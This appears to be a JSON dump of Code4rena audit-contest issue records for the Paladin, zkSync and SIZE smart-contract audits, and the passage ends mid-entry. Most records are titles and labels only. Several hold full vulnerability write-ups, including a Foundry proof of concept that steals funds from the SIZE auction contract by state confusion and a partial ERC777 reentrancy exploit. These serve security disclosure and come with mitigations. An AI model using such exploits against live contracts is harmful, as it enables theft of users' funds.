"2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-02"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-a", "G-01"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/3", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "edited-by-warden", "grade-a", "Q-02"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/2", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-01"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/1", "labels": [], "target": "2022-10-paladin-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/361", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-13"], "target": "2022-10-zksync-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/348", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-12"], "target": "2022-10-zksync-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/346", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-11"], "target": "2022-10-zksync-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/341", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-10"], "target": "2022-10-zksync-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/337", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-09"], "target": "2022-10-zksync-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/282", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-08"], "target": "2022-10-zksync-findings", "body": "Gas Optimizations"}, {"title": "`BLOCK_PERIOD` is incorrect", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/259", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected for report", "M-02"], "target": "2022-10-zksync-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-zksync/blob/456078b53a6d09636b84522ac8f3e8049e4e3af5/ethereum/contracts/zksync/Config.sol#L47 # Vulnerability details The `BLOCK_PERIOD` is set to 13 seconds in `Config.sol`. ```sol uint256 constant BLOCK_PERIOD = 13 seconds; ``` Since moving to Proof-of-Stake (PoS) after the Merge, block times on ethereum are fixed at 12 seconds per block (slots). https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/#:~:text=Whereas%20under%20proof%2Dof%2Dwork,block%20proposer%20in%20every%20slot. ### Impact This results in incorrect calculation of `PRIORITY_EXPIRATION` which is used to determine when a transaction in the Priority Queue should be considered expired. ```sol uint256 constant PRIORITY_EXPIRATION_PERIOD = 3 days; /// @dev Expiration delta for priority request to be satisfied (in ETH blocks) uint256 constant PRIORITY_EXPIRATION = PRIORITY_EXPIRATION_PERIOD/BLOCK_PERIOD; ``` The time difference can be calulated ```python >>> 3*24*60*60 / 13 # 3 days / 13 sec block period 19938.46153846154 >>> 3*24*60*60 / 12 # 3 days / 12 sec block period 21600.0 >>> 21600 - 19938 # difference in blocks 1662 >>> 1662 * 12 / (60 * 60) # difference in hours 5.54 ``` By using block time of 13 seconds, a transaction in the Priority Queue incorrectly expires 5.5 hours earlier than is expected. 5.5 hours is a significant amount of time difference so I believe this issue to be Medium severity. ### Recommendations Change the block period to be 12 seconds ```sol uint256 constant BLOCK_PERIOD = 12 seconds; ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/239", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-10"], "target": "2022-10-zksync-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-07"], "target": "2022-10-zksync-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/227", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-09"], "target": "2022-10-zksync-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/224", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-06"], "target": "2022-10-zksync-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-08"], "target": "2022-10-zksync-findings", "body": "QA Report"}, {"title": "zkSyncFee will be locked in MailboxFacet", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/186", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-07"], "target": "2022-10-zksync-findings", "body": "zkSyncFee will be locked in MailboxFacet"}, {"title": "When user deposit in L1ETHBridge.sol, they can avoid paying the fee by making msg.value == amount", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/172", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-06"], "target": "2022-10-zksync-findings", "body": "When user deposit in L1ETHBridge.sol, they can avoid paying the fee by making msg.value == amount"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/158", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-05"], "target": "2022-10-zksync-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-05"], "target": "2022-10-zksync-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-04"], "target": "2022-10-zksync-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-03"], "target": "2022-10-zksync-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-04"], "target": "2022-10-zksync-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/80", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-02"], "target": "2022-10-zksync-findings", "body": "Gas Optimizations"}, {"title": "security Council Members are never set", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/77", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "grade-b", "Q-03"], "target": "2022-10-zksync-findings", "body": "security Council Members are never set"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-a", "selected for report", "Q-02"], "target": "2022-10-zksync-findings", "body": "QA Report"}, {"title": "diamondCut is not protected in case of governor's key leakage", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/46", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor confirmed", "edited-by-warden", "selected for report", "M-01"], "target": "2022-10-zksync-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-zksync/blob/4db6c596931a291b17a4e0e2929adf810a4a0eed/ethereum/contracts/zksync/facets/DiamondCut.sol#L46 https://github.com/code-423n4/2022-10-zksync/blob/4db6c596931a291b17a4e0e2929adf810a4a0eed/ethereum/contracts/zksync/libraries/Diamond.sol#L277 # Vulnerability details ## Impact When the governor proposes a diamondCut, governor must wait for `upgradeNoticePeriod` to be passed, or security council members have to approve the proposal to bypass the notice period, so that the governor can execute the proposal. ``` require(approvedBySecurityCouncil || upgradeNoticePeriodPassed, \"a6\"); // notice period should expire require(approvedBySecurityCouncil || !diamondStorage.isFrozen, \"f3\"); ``` If the governor's key is leaked and noticed by zkSync, the attacker must wait for the notice period to execute the already proposed diamondCut with the malicious `_calldata` based on the note below from zkSync, or to propose a new malicious diamondCut. For, both cases, the attacker loses time. >NOTE: proposeDiamondCut - commits data associated with an upgrade but does not execute it. While the upgrade is associated with facetCuts and (address _initAddress, bytes _calldata) the upgrade will be committed to the facetCuts and _initAddress. This is done on purpose, to leave some freedom to the governor to change calldata for the upgrade between proposing and executing it. Since, there is a notice period (as zkSync noticed the key leakage, security council member will not approve the proposal, so bypassing the notice period is not possible), there is enough time for zkSync to apply security measures (pausing any deposit/withdraw, reporting in media to not execute any transaction in zkSync, and so on). But, the attacker can be smarter, just before the proposal be executed by the governor (i.e. the notice period is passed or security council members approved it), the attacker executes the proposal earlier than governor with the malicious `_calldata`. In other words, the attacker front runs the governor. Therefore, if zkSync notices the governor's key leakage beforehand, there is enough time to protect the project. But, if zkSync does not notice the governor's key leakage, the attacker can change the `_calldata` into a malicious one in the last moment so that it is not possible to protect the project. ## Proof of Concept https://github.com/code-423n4/2022-10-zksync/blob/4db6c596931a291b17a4e0e2929adf810a4a0eed/ethereum/contracts/zksync/libraries/Diamond.sol#L277 https://github.com/code-423n4/2022-10-zksync/blob/4db6c596931a291b17a4e0e2929adf810a4a0eed/ethereum/contracts/zksync/facets/DiamondCut.sol#L46 ## Tools Used ## Recommended Mitigation Steps `_calldata` should be included in the proposed diamondCut: https://github.com/code-423n4/2022-10-zksync/blob/4db6c596931a291b17a4e0e2929adf810a4a0eed/ethereum/contracts/zksync/facets/DiamondCut.sol#L27 Or, at least one of the security council members should approve the `_calldata` during execution of the proposal."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "grade-a", "selected for report", "G-01"], "target": "2022-10-zksync-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/13", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-a", "Q-01"], "target": "2022-10-zksync-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-10-zksync-findings/issues/1", "labels": [], "target": "2022-10-zksync-findings", "body": "Agreements & Disclosures"}, {"title": "Denial of service when `baseAmount` is equal to zero", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/332", "labels": ["bug", "2 (Med Risk)", "downgraded by judge", "satisfactory", "selected for report", "duplicate-18", "M-07"], "target": "2022-11-size-findings", "body": "Denial of service when `baseAmount` is equal to zero"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/326", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-31"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/324", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-29"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/322", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-30"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/321", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-28"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/314", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-29"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/313", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-28"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/312", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-27"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/311", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-27"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/310", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-26"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/306", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-25"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/305", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-26"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/303", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-24"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/302", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-23"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/296", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-25"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/295", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-24"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/291", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-22"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/288", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-21"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/287", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-20"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/283", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-23"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/274", "labels": ["bug", "grade-a", "QA (Quality Assurance)", "edited-by-warden", "Q-19"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/273", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-22"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/270", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-18"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/267", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "edited-by-warden", "Q-17"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/258", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-16"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Attacker can steal any funds in the contract by state confusion (no preconditions)", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/252", "labels": ["bug", "3 (High Risk)", "primary issue", "satisfactory", "selected for report", "sponsor confirmed", "H-02"], "target": "2022-11-size-findings", "body": "# Lines of code https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238 # Vulnerability details HIGH: Attacker can steal any funds in the contract by state confusion (no preconditions) LOC: https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238 ## Description Auctions in SIZE can be in one of several states, as checked in the atState() modifier: ``` modifier atState(Auction storage a, States _state) { if (block.timestamp < a.timings.startTimestamp) { if (_state != States.Created) revert InvalidState(); } else if (block.timestamp < a.timings.endTimestamp) { if (_state != States.AcceptingBids) revert InvalidState(); } else if (a.data.lowestQuote != type(uint128).max) { if (_state != States.Finalized) revert InvalidState(); } else if (block.timestamp <= a.timings.endTimestamp + 24 hours) { if (_state != States.RevealPeriod) revert InvalidState(); } else if (block.timestamp > a.timings.endTimestamp + 24 hours) { if (_state != States.Voided) revert InvalidState(); } else { revert(); } _; } ``` It's important to note that if current block timestamp is greater than endTimestamp, `a.data.lowestQuote` is used to determine if finalize() was called. The value is set to max at createAuction. In finalize, it is set again, using user-controlled input: ``` // Last filled bid is the clearing price a.data.lowestBase = clearingBase; a.data.lowestQuote = clearingQuote; ``` The issue is that it is possible to break the state machine by calling finalize() and setting lowestQuote to `type(uint128).max`. If the other parameters are crafted correctly, finalize() will succeed and perform transfers of unsold base amount and traded quote amount: ``` // Transfer the left over baseToken if (data.totalBaseAmount != data.filledBase) { uint128 unsoldBase = data.totalBaseAmount - data.filledBase; a.params.totalBaseAmount = data.filledBase; SafeTransferLib.safeTransfer(ERC20(a.params.baseToken), a.data.seller, unsoldBase); } // Calculate quote amount based on clearing price uint256 filledQuote = FixedPointMathLib.mulDivDown(clearingQuote, data.filledBase, clearingBase); SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), a.data.seller, filledQuote); ``` Critically, attacker will later be able to call cancelAuction() and cancelBid(), as they are allowed as long as the auction has not finalized: ``` function cancelAuction(uint256 auctionId) external { Auction storage a = idToAuction[auctionId]; if (msg.sender != a.data.seller) { revert UnauthorizedCaller(); } // Only allow cancellations before finalization // Equivalent to atState(idToAuction[auctionId], ~STATE_FINALIZED) if (a.data.lowestQuote != type(uint128).max) { revert InvalidState(); } // Allowing bidders to cancel bids (withdraw quote) // Auction considered forever States.AcceptingBids but nobody can finalize a.data.seller = address(0); a.timings.endTimestamp = type(uint32).max; emit AuctionCancelled(auctionId); SafeTransferLib.safeTransfer(ERC20(a.params.baseToken), msg.sender, a.params.totalBaseAmount); } function cancelBid(uint256 auctionId, uint256 bidIndex) external { Auction storage a = idToAuction[auctionId]; EncryptedBid storage b = a.bids[bidIndex]; if (msg.sender != b.sender) { revert UnauthorizedCaller(); } // Only allow bid cancellations while not finalized or in the reveal period if (block.timestamp >= a.timings.endTimestamp) { if (a.data.lowestQuote != type(uint128).max || block.timestamp <= a.timings.endTimestamp + 24 hours) { revert InvalidState(); } } // Prevent any futher access to this EncryptedBid b.sender = address(0); // Prevent seller from finalizing a cancelled bid b.commitment = 0; emit BidCancelled(auctionId, bidIndex); SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), msg.sender, b.quoteAmount); } ``` The attack will look as follows: 1. attacker uses two contracts - buyer and seller 2. seller creates an auction, with no vesting period and ends in 1 second. Passes X base tokens. 3. buyer bids on the auction, using baseAmount=quoteAmount (ratio is 1:1). Passes Y quote tokens, where Y < X. 4. after 1 second, seller calls reveal() and finalizes, with **lowestQuote = lowestBase = 2\\*\\*128-1**. 5. seller contract receives X-Y unsold base tokens and Y quote tokens 6. seller calls cancelAuction(). They are sent back remaining totalBaseAmount, which is X - (X-Y) = Y base tokens. They now have the same amount of base tokens they started with. cancelAuction sets endTimestamp = `type(uint32).max` 7. buyer calls cancelBid. Because endTimestamp is set to max, the call succeeds. Buyer gets back Y quote tokens. 8. The accounting shows attacker profited Y quote tokens, which are both in buyer and seller's contract. Note that the values of `minimumBidQuote`, `reserveQuotePerbase` must be carefully chosen to satisfy all the inequality requirements in createAuction(), bid() and finalize(). This is why merely spotting that lowestQuote may be set to max in finalize is not enough and in my opinion, POC-ing the entire flow is necessary for a valid finding. This was the main constraint to bypass: ``` uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteAmount, type(uint128).max, baseAmount); ... data.previousQuotePerBase = quotePerBase; ... if (data.previousQuotePerBase != FixedPointMathLib.mulDivDown(clearingQuote, type(uint128).max, clearingBase)) { revert InvalidCalldata(); } ``` Since clearingQuote must equal UINT128_MAX, we must satisfy: (2\\*\\*128-1) \\* (2\\*\\*128-1) / clearingBase = quoteAmount \\* (2\\*\\*128-1) / baseAmount. The solution I found was setting clearingBase to (2\\*\\*128-1) and quoteAmount = baseAmount. We also have constraints on reserveQuotePerBase. In createAuction: ``` if ( FixedPointMathLib.mulDivDown( auctionParams.minimumBidQuote, type(uint128).max, auctionParams.totalBaseAmount ) > auctionParams.reserveQuotePerBase ) { revert InvalidReserve(); } ``` While in finalize(): ``` // Only fill if above reserve price if (quotePerBase < data.reserveQuotePerBase) continue; ``` And an important constraint on quoteAmount and minimumBidQuote: ``` if (quoteAmount == 0 || quoteAmount == type(uint128).max || quoteAmount < a.params.minimumBidQuote) { revert InvalidBidAmount(); } ``` Merging them gives us two equations to substitute variables in: 1. `minimumBidQuote / totalBaseAmount < reserveQuotePerBase <= UINT128_MAX / clearingBase` 2. `quoteAmount > minimumBidQuote` In the POC I've crafted parameters to steal 2**30 quote tokens, around 1000 in USDC denomination. With the above equations, increasing or decreasing the stolen amount is simple. ## Impact An attacker can steal all tokens held in the SIZE auction contract. ## Proof of Concept Copy the following code in SizeSealed.t.sol ``` function testAttack() public { quoteToken = new MockERC20(\"USD Coin\", \"USDC\", 6); baseToken = new MockERC20(\"DAI stablecoin \", \"DAI\", 18); // Bootstrap auction contract with some funds baseToken.mint(address(auction), 1e20); quoteToken.mint(address(auction), 1e12); // Create attacker MockSeller attacker_seller = new MockSeller(address(auction), quoteToken, baseToken); MockBuyer attacker_buyer = new MockBuyer(address(auction), quoteToken, baseToken); // Print attacker balances uint256 balance_quote; uint256 balance_base; (balance_quote, balance_base) = attacker_seller.balances(); console.log(\"Starting seller balance: \", balance_quote, balance_base); (balance_quote, balance_base) = attacker_buyer.balances(); console.log('Starting buyer balance: ', balance_quote, balance_base); // Create auction uint256 auction_id = attacker_seller.createAuction( 2**32, // totalBaseAmount 2**120, // reserveQuotePerBase 2**20, // minimumBidQuote uint32(block.timestamp), // startTimestamp uint32(block.timestamp + 1), // endTimestamp uint32(block.timestamp + 1), // vestingStartTimestamp uint32(block.timestamp + 1), // vestingEndTimestamp 0 // cliffPercent ); // Bid on auction attacker_buyer.setAuctionId(auction_id); attacker_buyer.bidOnAuction( 2**30, // baseAmount 2**30 // quoteAmount ); // Finalize with clearingQuote = clearingBase = 2**128-1 // Will transfer unsold base amount + matched quote amount uint256[] memory bidIndices = new uint[](1); bidIndices[0] = 0; vm.warp(block.timestamp + 10); attacker_seller.finalize(bidIndices, 2**128-1, 2**128-1); // Cancel auction // Will transfer back sold base amount attacker_seller.cancelAuction(); // Cancel bid // Will transfer back to buyer quoteAmount attacker_buyer.cancel(); // Net profit of quoteAmount tokens of quoteToken (balance_quote, balance_base) = attacker_seller.balances(); console.log(\"End seller balance: \", balance_quote, balance_base); (balance_quote, balance_base) = attacker_buyer.balances(); console.log('End buyer balance: ', balance_quote, balance_base); } ``` ## Tools Used Manual audit, foundry tests ## Recommended Mitigation Steps Do not trust the value of `lowestQuote` when determining the finalize state, use a dedicated state variable for it."}, {"title": "Seller suffers a severe underpricing of the sold base tokens due to attacker griefing", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/243", "labels": ["bug", "downgraded by judge", "grade-b", "QA (Quality Assurance)", "sponsor disputed", "Q-15"], "target": "2022-11-size-findings", "body": "Seller suffers a severe underpricing of the sold base tokens due to attacker griefing"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/239", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "edited-by-warden", "Q-14"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Attacker may DOS auctions using invalid bid parameters", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/237", "labels": ["bug", "2 (Med Risk)", "satisfactory", "selected for report", "duplicate-64", "M-06"], "target": "2022-11-size-findings", "body": "Attacker may DOS auctions using invalid bid parameters"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/229", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-21"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/216", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-20"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/215", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-13"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/211", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-19"], "target": "2022-11-size-findings", "body": "Gas Optimizations"}, {"title": "Seller's ability to decrypt bids before reveal could result in a much higher clearing price than anticpated and make buyers distrust the system", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/194", "labels": ["bug", "2 (Med Risk)", "downgraded by judge", "selected for report", "duplicate-170", "M-05"], "target": "2022-11-size-findings", "body": "Seller's ability to decrypt bids before reveal could result in a much higher clearing price than anticpated and make buyers distrust the system"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/193", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-12"], "target": "2022-11-size-findings", "body": "QA Report"}, {"title": "Auction created by ERC777 Tokens with tax can be stolen by re-entrancy attack", "html_url": "https://github.com/code-423n4/2022-11-size-findings/issues/192", "labels": ["bug", "2 (Med Risk)", "downgraded by judge", "satisfactory", "selected for report", "sponsor confirmed", "M-04"], "target": "2022-11-size-findings", "body": "# Lines of code https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L96-L102 # Vulnerability details ## Impact The createAuction function lacks the check of re-entrancy. An attacker can use an ERC777 token with tax as the base token to create auctions. By registering ERC777TokensSender interface implementer in the ERC1820Registry contract, the attacker can re-enter the createAuction function and create more than one auction with less token. And the sum of the totalBaseAmount of these auctions will be greater than the token amount received by the SizeSealed contract. Finally, the attacker can take more money from the contract global pool which means stealing tokens from the other auctions and treasury. ## Proof of Concept Forge test ``` // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.17; import {Test} from \"forge-std/Test.sol\"; import {SizeSealedTest} from \"./SizeSealed.t.sol\"; import {ERC777} from \"openzeppelin-contracts/contracts/token/ERC777/ERC777.sol\"; import \"openzeppelin-contracts/contracts/utils/introspection/IERC1820Registry.sol\"; import {MockSeller} from \"./mocks/MockSeller.sol\"; import {MockERC20} from \"./mocks/MockERC20.sol\"; contract TaxERC777 is ERC777{ uint32 tax = 50; // 50% tax rate constructor(string memory name_, string memory symbol_, address[] memory defaultOperators_) ERC777(name_, symbol_, defaultOperators_){} function mint(address rec, uint256 amount) external{ super._mint(rec, amount, \"\", \"\", false); } function _beforeTokenTransfer( address operator, address from, address to, uint256 amount ) internal override { if(to == address(0)||from==address(0)){ return;} // tax just burn for test } function _send( address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal override { uint tax_amount = amount* tax / 100; _burn(from, tax_amount, \"\", \"\"); super._send(from, to, amount-tax_amount, userData, operatorData, requireReceptionAck); } } contract Callback { MockSeller seller; uint128 baseToSell; uint256 reserveQuotePerBase = 0.5e6 * uint256(type(uint128).max) / 1e18; uint128 minimumBidQuote = 1e6; // Auction parameters (cliff unlock) uint32 startTime; uint32 endTime; uint32 unlockTime; uint32 unlockEnd; uint128 cliffPercent; uint8 entry = 0; uint128 amount_cut_tax; constructor(MockSeller _seller, uint128 _baseToSell, uint256 _reserveQuotePerBase, uint128 _minimumBidQuote, uint32 _startTime, uint32 _endTime, uint32 _unlockTime, uint32 _unlockEnd, uint128 _cliffPercent){ seller = _seller; baseToSell = _baseToSell; reserveQuotePerBase = _reserveQuotePerBase; minimumBidQuote = _minimumBidQuote; startTime = _startTime; endTime = _endTime; unlockTime = _unlockTime; unlockEnd = _unlockEnd; cliffPercent = _cliffPercent; } function tokensToSend(address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData) external{ if(from==address(0) || to==address(0)){return;} if(entry == 0){ entry += 1; amount_cut_tax = baseToSell / 2; seller.createAuction( amount_cut_tax, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent ); return; } else if(entry == 1){ entry 